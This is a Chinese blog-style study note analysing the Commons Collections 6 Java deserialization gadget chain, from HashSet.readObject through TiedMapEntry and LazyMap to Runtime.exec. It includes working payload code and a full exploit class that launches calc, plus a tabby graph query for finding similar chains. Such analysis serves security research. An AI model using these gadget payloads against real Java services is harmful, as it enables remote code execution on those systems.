前言:在自己重新理解了下readObject和defaultReadObject的流程之后写的,这篇作为Commons Collections 6 调用链分析的笔记

介绍

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

1、HashSet开头的反序列化,那么这里从HashSet中来看它自定义的readObject方法,这边需要关注到E e = (E) s.readObject();这个反序列化点,因为也只有这个点会涉及到反序列化,然后接着看这个点反序列化肯定有涉及到
相关对象的反序列化,那么这里的话通过调用链可以看到是HashMap

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " + capacity);
        }

        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " + loadFactor);
        }

        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " + size);
        }

        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY);

        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));

        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

2、这里的HashMap那肯定是来源自本身,我们先来看下HashSet这个成员属性,一共三个,但是这里的HashMap是transient,但是在writeObject中其实进行了自定义序列化,所以这个HashMap可以在反序列化的时候被读取

static final long serialVersionUID = -5024744406713321676L;

    private transient HashMap<E,Object> map;

    // Dummy value to associate with an Object in the backing Map
    private static final Object PRESENT = new Object();

可以看到自定义序列化HashMap对象

java 用户操作链路追踪 javaparser 调用链分析_java

3、那么当执行到了E e = (E) s.readObject();,这段代码中又先反序列化TiedMapEntry对象,TiedMapEntry的对象如下内容

/** Serialization version */    
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;

那么反序列化的数据就有两个,一个是map,一个是key

但是这个map和key已经被我们构造好的payload进行了填充,如下内容,那么此时的map就是lazyMap对象,和一个key为test1的字符串

Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,Testtransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");

4、又因为lazyMap是一个反序列化对象,那么这个对象又会进行反序列化,来看下LazyMap类的内容,如下所示:

/** Serialization version */
    private static final long serialVersionUID = 7990956402564206740L;

    /** The factory to use to construct elements */
    protected final Transformer factory;

这里的factory其实也被我们构造的payload所填充,如下内容:

Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        
        // 中间省略....

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Testtransformer, transformers);

5、到目前调用过程已经捋好了,那么在反序列化的过程中,什么时候才触发呢?继续看下HashSet类的readObject的内容,可以看到后面又通过map(HashMap对象)来进行put操作

java 用户操作链路追踪 javaparser 调用链分析_apache_02

在这里的时候我先讲述下,因为这个HashSet的序列化和反序列化函数都是重写的,所以运作的流程其实都是开发所定义的了,此时反序列化过程还有最后一点没做,也就是填充当前的HashSet的对象,所以这里才开始进行put操作

这里的map.put(e, PRESENT);操作,就是将读取出来的TiedMapEntry对象填充到HashSet的HashMap的对象中去,此时读取出来的TiedMapEntry对象为TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");

那么put方法此时的key也就是lazyMap对象,和"test1" 字符串

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

接着触发hash方法,参数为TiedMapEntry对象

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

接着调用TiedMapEntry对象的hashCode方法

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

这里的final Object value = getValue();,这里的getValue方法调用的是lazyMap对象中的get方法,此时的key为"test1",lazyMap对象为Map lazyMap = LazyMap.decorate(map,Testtransformer);

public V getValue() {
        return map.get(key);
    }

这里也就是为什么构造payload的时候需要lazyMap.remove("test1");,要不然判断无法为true,那么就无法执行transform了

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {  // 这里进行了判断
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

二代cc6

关于cc6,还有一种更加简介的构造方式

package com.zpchcbd.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        // ⽣成序列化字符串
//        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
//        objectOutputStream.writeObject(expMap);
//        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
        HashMap a = (HashMap) objectInputStream.readObject();
    }
}

tabby反序列化链挖掘

HashSet_TiedMapEntry_LazyMap_Transformer

同样的,后面的利用全部都交给TiedMapEntry和LazyMap和Transformer来进行,所以我们这边只需要去找到readObject到触发LazyMap的get方法即可

souce:java.util.HashSet#readObject

chain:

sink:java.util.Map#get

match (source:Method) where source.NAME="readObject" and source.CLASSNAME="java.util.HashSet"
match (m1:Method) where m1.NAME="getValue" and m1.CLASSNAME="org.apache.commons.collections.keyvalue.TiedMapEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 1000

java 用户操作链路追踪 javaparser 调用链分析_java_03